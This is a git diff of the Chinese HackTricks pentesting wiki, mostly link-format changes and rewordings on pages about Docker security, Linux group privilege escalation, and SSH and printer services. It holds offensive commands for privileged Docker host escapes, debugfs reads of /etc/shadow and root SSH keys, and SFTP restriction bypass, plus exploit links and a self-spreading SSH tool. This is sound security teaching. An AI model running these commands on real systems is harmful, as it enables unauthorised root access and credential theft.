```
@ -311,22 +311,26 @@ file: ./my_secret_file.txt
**gVisor** 是一个应用内核，使用 Go 编写，实施了 Linux 系统表面的相当大一部分。它包括一个名为 `runsc` 的 [Open Container Initiative (OCI)](https://www.opencontainers.org) 运行时，提供了 **应用程序与主机内核之间的隔离边界**。`runsc` 运行时与 Docker 和 Kubernetes 集成，使得运行沙箱容器变得简单。
{% embed url="https://github.com/google/gvisor" %}
{{#ref}}
https://github.com/google/gvisor
{{#endref}}
### Kata Containers
**Kata Containers** 是一个开源社区，致力于构建一个安全的容器运行时，使用轻量级虚拟机，感觉和表现像容器，但提供 **使用硬件虚拟化技术作为第二道防线的更强工作负载隔离**。
**Kata Containers** 是一个开源社区，致力于构建一个安全的容器运行时，使用轻量级虚拟机，感觉和表现像容器，但提供 **使用硬件虚拟化技术的更强工作负载隔离** 作为第二道防线。
{% embed url="https://katacontainers.io/" %}
{{#ref}}
https://katacontainers.io/
{{#endref}}
### 总结提示
- **不要使用 `--privileged` 标志或在容器内挂载** [**Docker 套接字**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**。** Docker 套接字允许生成容器，因此这是完全控制主机的简单方法，例如，通过使用 `--privileged` 标志运行另一个容器。
- **不要在容器内以 root 身份运行。使用** [**不同用户**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **和** [**用户命名空间**](https://docs.docker.com/engine/security/userns-remap/)**。** 容器内的 root 与主机上的相同，除非通过用户命名空间重新映射。它仅受到 Linux 命名空间、能力和 cgroups 的轻微限制。
- **不要使用 `--privileged` 标志或在容器内挂载** [**Docker socket**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**。** Docker socket 允许生成容器，因此这是完全控制主机的简单方法，例如，通过使用 `--privileged` 标志运行另一个容器。
- **不要在容器内以 root 身份运行。使用** [**不同用户**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **和** [**用户命名空间**](https://docs.docker.com/engine/security/userns-remap/)**。** 容器内的 root 与主机上的 root 是相同的，除非通过用户命名空间重新映射。它仅受到 Linux 命名空间、能力和 cgroups 的轻微限制。
- [**丢弃所有能力**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`)，仅启用所需的能力** (`--cap-add=...`)。许多工作负载不需要任何能力，添加它们会增加潜在攻击的范围。
- [**使用“no-new-privileges”安全选项**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/)以防止进程获得更多权限，例如通过 suid 二进制文件。
- [**使用“no-new-privileges”安全选项**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) **以防止进程获得更多权限，例如通过 suid 二进制文件。**
- [**限制容器可用的资源**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**。** 资源限制可以保护机器免受拒绝服务攻击。
- **调整** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**、** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(或 SELinux)** 配置文件，以将容器可用的操作和系统调用限制到最低要求。
- **调整** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**、** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **（或 SELinux）** 配置文件，以将容器可用的操作和系统调用限制到最低要求。
- **使用** [**官方 docker 镜像**](https://docs.docker.com/docker-hub/official_images/) **并要求签名**，或基于它们构建自己的镜像。不要继承或使用 [后门](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) 镜像。还要将 root 密钥、密码短语存放在安全的地方。Docker 计划通过 UCP 管理密钥。
- **定期** **重建** 镜像以 **应用安全补丁到主机和镜像。**
- 明智地管理您的 **秘密**，使攻击者难以访问它们。
@ -338,7 +342,7 @@ file: ./my_secret_file.txt
## Docker 突破 / 权限提升
如果您 **在 docker 容器内**，或者您有权访问 **docker 组中的用户**，您可以尝试 **逃逸并提升权限**：
如果您 **在 docker 容器内** 或者您有权访问 **docker 组中的用户**，您可以尝试 **逃逸并提升权限**：
{{#ref}}
docker-breakout-privilege-escalation/
@ -346,7 +350,7 @@ docker-breakout-privilege-escalation/
## Docker 身份验证插件绕过
如果您可以访问 docker 套接字或有权访问 **docker 组中的用户，但您的操作受到 docker 身份验证插件的限制**，请检查您是否可以 **绕过它：**
如果您可以访问 docker socket 或者有权访问 **docker 组中的用户，但您的操作受到 docker 身份验证插件的限制**，请检查您是否可以 **绕过它：**
{{#ref}}
authz-and-authn-docker-access-authorization-plugin.md
@ -354,7 +358,7 @@ authz-and-authn-docker-access-authorization-plugin.md
## 加固 Docker
- 工具 [**docker-bench-security**](https://github.com/docker/docker-bench-security) 是一个脚本，检查在生产中部署 Docker 容器的数十个常见最佳实践。所有测试都是自动化的，基于 [CIS Docker 基准 v1.3.1](https://www.cisecurity.org/benchmark/docker/)。\
- 工具 [**docker-bench-security**](https://github.com/docker/docker-bench-security) 是一个脚本，检查在生产中部署 Docker 容器的数十个常见最佳实践。所有测试都是自动化的，并基于 [CIS Docker 基准 v1.3.1](https://www.cisecurity.org/benchmark/docker/)。\
您需要从运行 docker 的主机或具有足够权限的容器中运行该工具。查找 **如何在 README 中运行它：** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security)。
## 参考

30
src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md
View File

@ -14,9 +14,9 @@
# Allow members of group admin to execute any command
%admin ALL=(ALL:ALL) ALL
```
这意味着**任何属于sudo或admin组的用户都可以以sudo身份执行任何操作**。
这意味着 **任何属于 sudo 或 admin 组的用户都可以以 sudo 身份执行任何操作**。
如果是这种情况，要**成为root，你只需执行**：
如果是这种情况，要 **成为 root，你只需执行**：
```
sudo su
```
@ -26,7 +26,7 @@ sudo su
```bash
find / -perm -4000 2>/dev/null
```
如果你发现二进制文件 **pkexec 是一个 SUID 二进制文件**，并且你属于 **sudo** 或 **admin**，你可能可以使用 `pkexec` 以 sudo 身份执行二进制文件。\
如果您发现二进制文件 **pkexec 是一个 SUID 二进制文件**，并且您属于 **sudo** 或 **admin**，您可能可以使用 `pkexec` 以 sudo 身份执行二进制文件。\
这是因为通常这些是 **polkit 策略** 中的组。该策略基本上确定哪些组可以使用 `pkexec`。使用以下命令检查：
```bash
cat /etc/polkit-1/localauthority.conf.d/*
@ -76,7 +76,7 @@ sudo su
## 员工组
**staff**: 允许用户在不需要根权限的情况下对系统进行本地修改（`/usr/local`）（注意，`/usr/local/bin`中的可执行文件在任何用户的PATH变量中，并且它们可能会“覆盖”在`/bin`和`/usr/bin`中具有相同名称的可执行文件）。与更相关于监控/安全的“adm”组进行比较。 [\[source\]](https://wiki.debian.org/SystemGroups)
**staff**: 允许用户在不需要根权限的情况下对系统进行本地修改（`/usr/local`）（请注意，`/usr/local/bin`中的可执行文件在任何用户的PATH变量中，并且它们可能会“覆盖”`/bin`和`/usr/bin`中同名的可执行文件）。与更相关于监控/安全的“adm”组进行比较。 [\[source\]](https://wiki.debian.org/SystemGroups)
在debian发行版中，`$PATH`变量显示`/usr/local/`将以最高优先级运行，无论您是否是特权用户。
```bash
@ -96,7 +96,7 @@ $ cat /etc/crontab | grep run-parts
47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
```
或当一个新的 ssh 会话登录时。
或当一个新的ssh会话登录时。
```bash
$ pspy64
2024/02/01 22:02:08 CMD: UID=0 PID=1 | init [2]
@ -141,7 +141,7 @@ debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow
```
请注意，使用 debugfs 你也可以 **写入文件**。例如，要将 `/tmp/asd1.txt` 复制到 `/tmp/asd2.txt`，你可以这样做：
请注意，使用 debugfs 您也可以 **写入文件**。例如，要将 `/tmp/asd1.txt` 复制到 `/tmp/asd2.txt`，您可以执行：
```bash
debugfs -w /dev/sda1
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
@ -150,13 +150,13 @@ debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
## 视频组
使用命令 `w` 你可以找到**谁已登录系统**，它将显示如下输出：
使用命令 `w` 你可以找到**谁登录了系统**，它将显示如下输出：
```bash
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
```
**tty1** 表示用户 **yossi 正在物理登录** 到机器上的一个终端。
**tty1** 表示用户 **yossi 物理上登录** 到机器上的一个终端。
**video group** 有权限查看屏幕输出。基本上，你可以观察屏幕。为了做到这一点，你需要 **抓取当前屏幕上的图像** 的原始数据，并获取屏幕使用的分辨率。屏幕数据可以保存在 `/dev/fb0`，你可以在 `/sys/class/graphics/fb0/virtual_size` 找到该屏幕的分辨率。
```bash
@ -173,7 +173,7 @@ cat /sys/class/graphics/fb0/virtual_size
## Root Group
看起来默认情况下**root组的成员**可以访问**修改**某些**服务**配置文件或某些**库**文件或**其他有趣的东西**，这些都可以用来提升权限...
看起来默认情况下**root组的成员**可以访问**修改**一些**服务**配置文件或一些**库**文件或**其他有趣的东西**，这些都可以用来提升权限...
**检查root成员可以修改哪些文件**：
```bash
@ -199,11 +199,15 @@ docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chr
../docker-security/
{{#endref}}
如果你对 docker socket 有写权限，请阅读[**这篇关于如何通过滥用 docker socket 提升权限的文章**](../#writable-docker-socket)**。**
如果你对 docker socket 有写权限，请阅读[**这篇关于如何利用 docker socket 升级权限的文章**](../#writable-docker-socket)**。**
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
{{#ref}}
https://github.com/KrustyHack/docker-privilege-escalation
{{#endref}}
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
{{#ref}}
https://fosterelli.co/privilege-escalation-via-docker.html
{{#endref}}
## lxc/lxd 组
@ -219,6 +223,6 @@ docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chr
## Auth 组
在 OpenBSD 中，**auth** 组通常可以在 _**/etc/skey**_ 和 _**/var/db/yubikey**_ 文件夹中写入（如果它们被使用）。\
这些权限可能会被滥用，使用以下漏洞来**提升权限**到 root：[https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)
这些权限可能会被以下漏洞利用，以**升级权限**到 root：[https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)
{{#include ../../../banners/hacktricks-training.md}}

17
src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md
View File

@ -1,6 +1,5 @@
{{#include ../../banners/hacktricks-training.md}}
# Sudo/Admin Groups
## **PE - 方法 1**
@ -25,7 +24,7 @@ sudo su
```bash
find / -perm -4000 2>/dev/null
```
如果你发现二进制文件 pkexec 是一个 SUID 二进制文件，并且你属于 sudo 或 admin 组，你可能可以使用 pkexec 作为 sudo 执行二进制文件。检查以下内容：
如果您发现二进制文件 pkexec 是一个 SUID 二进制文件，并且您属于 sudo 或 admin，您可能可以使用 pkexec 作为 sudo 执行二进制文件。检查以下内容：
```bash
cat /etc/polkit-1/localauthority.conf.d/*
```
@ -41,7 +40,7 @@ polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freed
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized
```
**这不是因为你没有权限，而是因为你没有通过 GUI 连接**。对此问题有一个解决方法在这里: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903)。你需要 **2 个不同的 ssh 会话**：
**这不是因为你没有权限，而是因为你没有通过 GUI 连接**。对此问题有一个解决方法在这里: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903)。你需要 **2 个不同的 ssh 会话**:
```bash:session1
echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
@ -101,7 +100,7 @@ moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
```
**tty1** 表示用户 **yossi 物理上登录** 到机器上的一个终端。
**video group** 有权限查看屏幕输出。基本上，你可以观察屏幕。为了做到这一点，你需要 **抓取当前屏幕上的图像** 的原始数据，并获取屏幕使用的分辨率。屏幕数据可以保存在 `/dev/fb0`，你可以在 `/sys/class/graphics/fb0/virtual_size` 找到该屏幕的分辨率。
**video group** 有权限查看屏幕输出。基本上，你可以观察屏幕。为了做到这一点，你需要 **抓取当前屏幕上的图像** 的原始数据，并获取屏幕使用的分辨率。屏幕数据可以保存在 `/dev/fb0` 中，你可以在 `/sys/class/graphics/fb0/virtual_size` 找到该屏幕的分辨率。
```bash
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
@ -116,7 +115,7 @@ cat /sys/class/graphics/fb0/virtual_size
# Root Group
看起来默认情况下**root组的成员**可以访问**修改**一些**服务**配置文件或一些**库**文件或**其他有趣的东西**，这些都可以用来提升权限...
看起来默认情况下**root组的成员**可以访问**修改**某些**服务**配置文件或某些**库**文件或**其他有趣的东西**，这些都可以用来提升权限...
**检查root成员可以修改哪些文件**：
```bash
@ -126,9 +125,13 @@ find / -group root -perm -g=w 2>/dev/null
您可以将主机的根文件系统挂载到实例的卷中，因此当实例启动时，它会立即加载一个 `chroot` 到该卷。这实际上使您在机器上获得了 root 权限。
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
{{#ref}}
https://github.com/KrustyHack/docker-privilege-escalation
{{#endref}}
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
{{#ref}}
https://fosterelli.co/privilege-escalation-via-docker.html
{{#endref}}
# lxc/lxd 组

92
src/misc/references.md
View File

@ -1,49 +1,95 @@
{{#include ../banners/hacktricks-training.md}}
{% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %}
{{#ref}}
https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick
{{#endref}}
{% embed url="https://hausec.com/pentesting-cheatsheet/#_Toc475368982" %}
{{#ref}}
https://hausec.com/pentesting-cheatsheet/#_Toc475368982
{{#endref}}
{% embed url="https://anhtai.me/pentesting-cheatsheet/" %}
{{#ref}}
https://anhtai.me/pentesting-cheatsheet/
{{#endref}}
{% embed url="https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html" %}
{{#ref}}
https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
{{#endref}}
{% embed url="https://ired.team/offensive-security-experiments/offensive-security-cheetsheets" %}
{{#ref}}
https://ired.team/offensive-security-experiments/offensive-security-cheetsheets
{{#endref}}
{% embed url="https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html" %}
{{#ref}}
https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html
{{#endref}}
{% embed url="https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md" %}
{{#ref}}
https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md
{{#endref}}
{% embed url="https://anhtai.me/oscp-fun-guide/" %}
{{#ref}}
https://anhtai.me/oscp-fun-guide/
{{#endref}}
{% embed url="https://www.thehacker.recipes/" %}
{{#ref}}
https://www.thehacker.recipes/
{{#endref}}
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings" %}
{{#ref}}
https://github.com/swisskyrepo/PayloadsAllTheThings
{{#endref}}
{% embed url="https://gtfobins.github.io/" %}
{{#ref}}
https://gtfobins.github.io/
{{#endref}}
{% embed url="https://github.com/RistBS/Awesome-RedTeam-Cheatsheet" %}
{{#ref}}
https://github.com/RistBS/Awesome-RedTeam-Cheatsheet
{{#endref}}
{% embed url="https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet" %}
{{#ref}}
https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
{{#endref}}
{% embed url="https://hideandsec.sh/" %}
{{#ref}}
https://hideandsec.sh/
{{#endref}}
{% embed url="https://cheatsheet.haax.fr/" %}
{{#ref}}
https://cheatsheet.haax.fr/
{{#endref}}
{% embed url="https://infosecwriteups.com/" %}
{{#ref}}
https://infosecwriteups.com/
{{#endref}}
{% embed url="https://www.exploit-db.com/" %}
{{#ref}}
https://www.exploit-db.com/
{{#endref}}
{% embed url="https://wadcoms.github.io/" %}
{{#ref}}
https://wadcoms.github.io/
{{#endref}}
{% embed url="https://lolbas-project.github.io" %}
{{#ref}}
https://lolbas-project.github.io
{{#endref}}
{% embed url="https://pentestbook.six2dez.com/" %}
{{#ref}}
https://pentestbook.six2dez.com/
{{#endref}}
{% embed url="https://www.hackingarticles.in/" %}
{{#ref}}
https://www.hackingarticles.in/
{{#endref}}
{% embed url="https://pentestlab.blog/" %}
{{#ref}}
https://pentestlab.blog/
{{#endref}}
{% embed url="https://ippsec.rocks/" %}
{{#ref}}
https://ippsec.rocks/
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

4
src/network-services-pentesting/5439-pentesting-redshift.md
View File

@ -8,6 +8,8 @@
有关更多信息，请查看：
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum" %}
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

6
src/network-services-pentesting/9100-pjl.md
View File

@ -2,7 +2,7 @@
# 基本信息
从 [这里](http://hacking-printers.net/wiki/index.php/Port_9100_printing)：原始打印是我们定义的连接到网络打印机的9100/tcp端口的过程。这是CUPS和Windows打印架构与网络打印机通信的默认方法，因为它被认为是“_用于打印机的最简单、最快和通常最可靠的网络协议_”。原始9100端口打印，也称为JetDirect、AppSocket或PDL数据流，实际上**本身并不是打印协议**。相反，**所有发送的数据都由打印设备直接处理**，就像通过TCP的并行连接。与LPD、IPP和SMB相比，这可以向客户端发送直接反馈，包括状态和错误消息。这样的**双向通道**使我们能够直接**访问** **PJL**、**PostScript**或**PCL**命令的**结果**。因此，原始9100端口打印——几乎所有网络打印机都支持——被用作与PRET和PFT进行安全分析的通道。
从 [这里](http://hacking-printers.net/wiki/index.php/Port_9100_printing)：原始打印是我们定义的连接到网络打印机的9100/tcp端口的过程。这是CUPS和Windows打印架构与网络打印机通信的默认方法，因为它被认为是“_用于打印机的最简单、最快且通常是最可靠的网络协议_”。原始9100端口打印，也称为JetDirect、AppSocket或PDL数据流，实际上**本身并不是打印协议**。相反，**所有发送的数据都由打印设备直接处理**，就像通过TCP的并行连接一样。与LPD、IPP和SMB相比，这可以向客户端发送直接反馈，包括状态和错误消息。这样的**双向通道**使我们能够直接**访问** **PJL**、**PostScript**或**PCL**命令的**结果**。因此，原始9100端口打印——几乎所有网络打印机都支持——被用作与PRET和PFT进行安全分析的通道。
如果你想了解更多关于[**黑客打印机的信息，请阅读此页面**](http://hacking-printers.net/wiki/index.php/Main_Page)。
@ -48,7 +48,9 @@ msf> use auxiliary/scanner/printer/printer_delete_file
这是您想要用来滥用打印机的工具：
{% embed url="https://github.com/RUB-NDS/PRET" %}
{{#ref}}
https://github.com/RUB-NDS/PRET
{{#endref}}
# **Shodan**

7
src/network-services-pentesting/9200-pentesting-elasticsearch.md
View File

@ -145,7 +145,7 @@ curl -X POST '10.10.10.115:9200/bookindex/books' -H 'Content-Type: application/j
"name" : "how to get a job"
}'
```
该命令将创建一个 **新索引**，名为 `bookindex`，其文档类型为 `books`，具有属性 "_bookId_"、"_author_"、"_publisher_" 和 "_name_"
该命令将创建一个名为 `bookindex` 的 **新索引**，其文档类型为 `books`，具有属性 "_bookId_"、"_author_"、"_publisher_" 和 "_name_"。
注意 **新索引现在出现在列表中**：
@ -161,11 +161,12 @@ curl -X POST '10.10.10.115:9200/bookindex/books' -H 'Content-Type: application/j
```bash
msf > use auxiliary/scanner/elasticsearch/indices_enum
```
{% embed url="https://github.com/theMiddleBlue/nmap-elasticsearch-nse" %}
{{#ref}}
https://github.com/theMiddleBlue/nmap-elasticsearch-nse
{{#endref}}
## Shodan
- `port:9200 elasticsearch`
{{#include ../banners/hacktricks-training.md}}

4
src/network-services-pentesting/pentesting-compaq-hp-insight-manager.md
View File

@ -4,7 +4,9 @@
# **默认密码**
{% embed url="http://www.vulnerabilityassessment.co.uk/passwordsC.htm" %}
{{#ref}}
http://www.vulnerabilityassessment.co.uk/passwordsC.htm
{{#endref}}
# 配置文件
```text

6
src/network-services-pentesting/pentesting-kerberos-88/README.md
View File

@ -27,9 +27,11 @@ PORT STATE SERVICE
MS14-068 漏洞允许攻击者篡改合法用户的 Kerberos 登录令牌，以虚假声称提升权限，例如成为域管理员。此虚假声明被域控制器错误地验证，从而使未经授权的访问 Active Directory 林中的网络资源成为可能。
{% embed url="https://adsecurity.org/?p=541" %}
{{#ref}}
https://adsecurity.org/?p=541
{{#endref}}
其他漏洞：[https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek)
其他漏洞: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek)
## HackTricks 自动命令
```

61
src/network-services-pentesting/pentesting-ssh.md
View File

@ -2,8 +2,6 @@
{{#include ../banners/hacktricks-training.md}}
## 基本信息
**SSH (安全外壳或安全套接字外壳)** 是一种网络协议，允许通过不安全的网络与计算机建立安全连接。它对于在访问远程系统时维护数据的机密性和完整性至关重要。
@ -15,7 +13,7 @@
**SSH 服务器：**
- [openSSH](http://www.openssh.org) – OpenBSD SSH，自 Windows 10 起在 BSD、Linux 发行版和 Windows 中提供
- [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – 针对内存和处理器资源有限环境的 SSH 实现，随 OpenWrt 提供
- [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – 针对内存和处理器资源有限环境的 SSH 实现，包含在 OpenWrt 中
- [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) – Windows 的 SSH 实现，客户端常用，但服务器的使用较少
- [CopSSH](https://www.itefix.net/copssh) – Windows 的 OpenSSH 实现
@ -23,7 +21,7 @@
- [libssh](https://www.libssh.org) – 多平台 C 库，实现 SSHv2 协议，支持 [Python](https://github.com/ParallelSSH/ssh-python)、[Perl](https://github.com/garnier-quentin/perl-libssh/) 和 [R](https://github.com/ropensci/ssh) 的绑定；被 KDE 用于 sftp，GitHub 用于 git SSH 基础设施
- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – 用 ANSI C 编写的 SSHv2 服务器库，针对嵌入式、RTOS 和资源受限环境
- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – 基于 Apache MINA 的 Apache SSHD Java 库
- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – Apache SSHD Java 库基于 Apache MINA
- [paramiko](https://github.com/paramiko/paramiko) – Python SSHv2 协议库
## 枚举
@ -38,7 +36,7 @@ ssh-audit 是一个用于 ssh 服务器和客户端配置审计的工具。
[https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) 是一个来自 [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/) 的更新分支
**功能：**
**特点：**
- 支持 SSH1 和 SSH2 协议服务器；
- 分析 SSH 客户端配置；
@ -73,7 +71,7 @@ $ python3 ssh-audit <IP>
```
[查看实际操作 (Asciinema)](https://asciinema.org/a/96ejZKxpbuupTK9j7h8BdClzp)
### 服务器的公钥 SSH
### 服务器的公共 SSH 密钥
```bash
ssh-keyscan -t rsa <IP> -p <PORT>
```
@ -107,7 +105,7 @@ msf> use scanner/ssh/ssh_enumusers
### 私钥暴力破解
如果你知道一些可以使用的 ssh 私钥... 那我们试试吧。你可以使用 nmap 脚本：
如果你知道一些可以使用的 ssh 私钥... 那我们就试试吧。你可以使用 nmap 脚本：
```
https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html
```
@ -119,11 +117,13 @@ msf> use scanner/ssh/ssh_identify_pubkeys
#### 已知的坏密钥可以在这里找到：
{% embed url="https://github.com/rapid7/ssh-badkeys/tree/master/authorized" %}
{{#ref}}
https://github.com/rapid7/ssh-badkeys/tree/master/authorized
{{#endref}}
#### 弱 SSH 密钥 / Debian 可预测 PRNG
#### 弱 SSH 密钥 / Debian 可预测的 PRNG
某些系统在生成加密材料时使用的随机种子存在已知缺陷。这可能导致密钥空间显著减少，从而可以被暴力破解。受弱 PRNG 影响的 Debian 系统上生成的预生成密钥集可以在这里找到：[g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)。
某些系统在用于生成加密材料的随机种子中存在已知缺陷。这可能导致密钥空间显著减少，从而可以被暴力破解。受弱 PRNG 影响的 Debian 系统上生成的预生成密钥集可以在这里找到：[g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)。
您应该在这里查找受害者机器的有效密钥。
@ -167,14 +167,14 @@ msf> use scanner/ssh/ssh_identify_pubkeys
## SSH-Snake
如果您想使用在系统上发现的 SSH 私钥遍历网络，利用每个系统上的每个私钥连接新主机，那么 [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) 是您所需要的。
如果您想使用发现的 SSH 私钥遍历网络，在每个系统上利用每个私钥连接到新主机，那么 [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) 是您所需要的。
SSH-Snake 自动且递归地执行以下任务：
1. 在当前系统上，查找任何 SSH 私钥，
2. 在当前系统上，查找任何可能接受私钥的主机或目标（user@host），
3. 尝试使用所有发现的私钥 SSH 连接到所有目标，
4. 如果成功连接到某个目标，则在连接的系统上重复步骤 #1 - #4。
2. 在当前系统上，查找任何主机或目的地（user@host），这些私钥可能被接受，
3. 尝试使用所有发现的私钥 SSH 连接到所有目的地，
4. 如果成功连接到某个目的地，则在连接的系统上重复步骤 #1 - #4。
它是完全自我复制和自我传播的——并且完全无文件。
@ -184,7 +184,22 @@ SSH-Snake 自动且递归地执行以下任务：
SSH 服务器默认允许 root 用户登录，这构成了重大安全风险。**禁用根登录** 是保护服务器的关键步骤。通过进行此更改，可以减轻未经授权的管理权限访问和暴力攻击的风险。
**在 OpenSSH 中禁用根登录
**在 OpenSSH 中禁用根登录：**
1. **编辑 SSH 配置文件**：`sudoedit /etc/ssh/sshd_config`
2. **将设置更改** 从 `#PermitRootLogin yes` 为 **`PermitRootLogin no`**。
3. **使用以下命令重新加载配置**：`sudo systemctl daemon-reload`
4. **重启 SSH 服务器** 以应用更改：`sudo systemctl restart sshd`
### SFTP 暴力破解
- [**SFTP 暴力破解**](../generic-hacking/brute-force.md#sftp)
### SFTP 命令执行
在 SFTP 设置中常常会出现一个常见的疏忽，管理员希望用户在不启用远程 shell 访问的情况下交换文件。尽管将用户设置为非交互式 shell（例如 `/usr/bin/nologin`）并将其限制在特定目录中，但仍然存在安全漏洞。**用户可以通过在登录后立即请求执行命令（如 `/bin/bash`）来规避这些限制**，在其指定的非交互式 shell 接管之前。这允许未经授权的命令执行，破坏了预期的安全措施。
[来自这里的示例](https://community.turgensec.com/ssh-hacking-guide/)：
```bash
ssh -v noraj@192.168.1.94 id
...
@ -207,7 +222,7 @@ debug1: Exit status 0
$ ssh noraj@192.168.1.94 /bin/bash
```
以下是用户 `noraj` 的安全 SFTP 配置示例（`/etc/ssh/sshd_config` – openSSH）：
以下是用户 `noraj` 的安全 SFTP 配置示例 (`/etc/ssh/sshd_config` – openSSH)：
```
Match User noraj
ChrootDirectory %h
@ -227,7 +242,7 @@ sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compro
```
### SFTP Symlink
**sftp** 有命令 "**symlink**"。因此，如果您在某个文件夹中具有 **可写权限**，您可以创建 **其他文件夹/文件** 的 **symlinks**。由于您可能被 **困在** chroot 中，这对您来说 **不会特别有用**，但是，如果您可以从 **非 chroot** **服务** 访问创建的 **symlink**（例如，如果您可以从网页访问 symlink），您可以 **通过网页打开 symlinked 文件**。
**sftp** 有命令 "**symlink**"。因此，如果您在某个文件夹中具有 **可写权限**，您可以创建 **其他文件夹/文件** 的 **symlinks**。由于您可能被 **困在** chroot 中，这对您来说 **不会特别有用**，但是，如果您可以从 **非 chroot** **服务** 访问创建的 **symlink**（例如，如果您可以从网络访问 symlink），您可以 **通过网络打开 symlinked 文件**。
例如，要创建一个从新文件 **"**_**froot**_**" 到 "**_**/**_**"** 的 **symlink**：
```bash
@ -237,20 +252,20 @@ sftp> symlink / froot
### 认证方法
在高安全性环境中，通常的做法是仅启用基于密钥或双因素认证，而不是简单的基于密码的单因素认证。但通常情况下，较强的认证方法被启用而没有禁用较弱的认证方法。一个常见的情况是在 openSSH 配置中启用 `publickey` 并将其设置为默认方法，但没有禁用 `password`。因此，通过使用 SSH 客户端的详细模式，攻击者可以看到启用了较弱的方法：
在高安全性环境中，通常的做法是仅启用基于密钥或双因素认证，而不是简单的基于密码的单因素认证。但通常情况下，较强的认证方法被启用而没有禁用较弱的认证方法。一个常见的情况是在 openSSH 配置中启用 `publickey` 并将其设置为默认方法，但没有禁用 `password`。因此，通过使用 SSH 客户端的详细模式，攻击者可以看到较弱的方法被启用：
```bash
ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
...
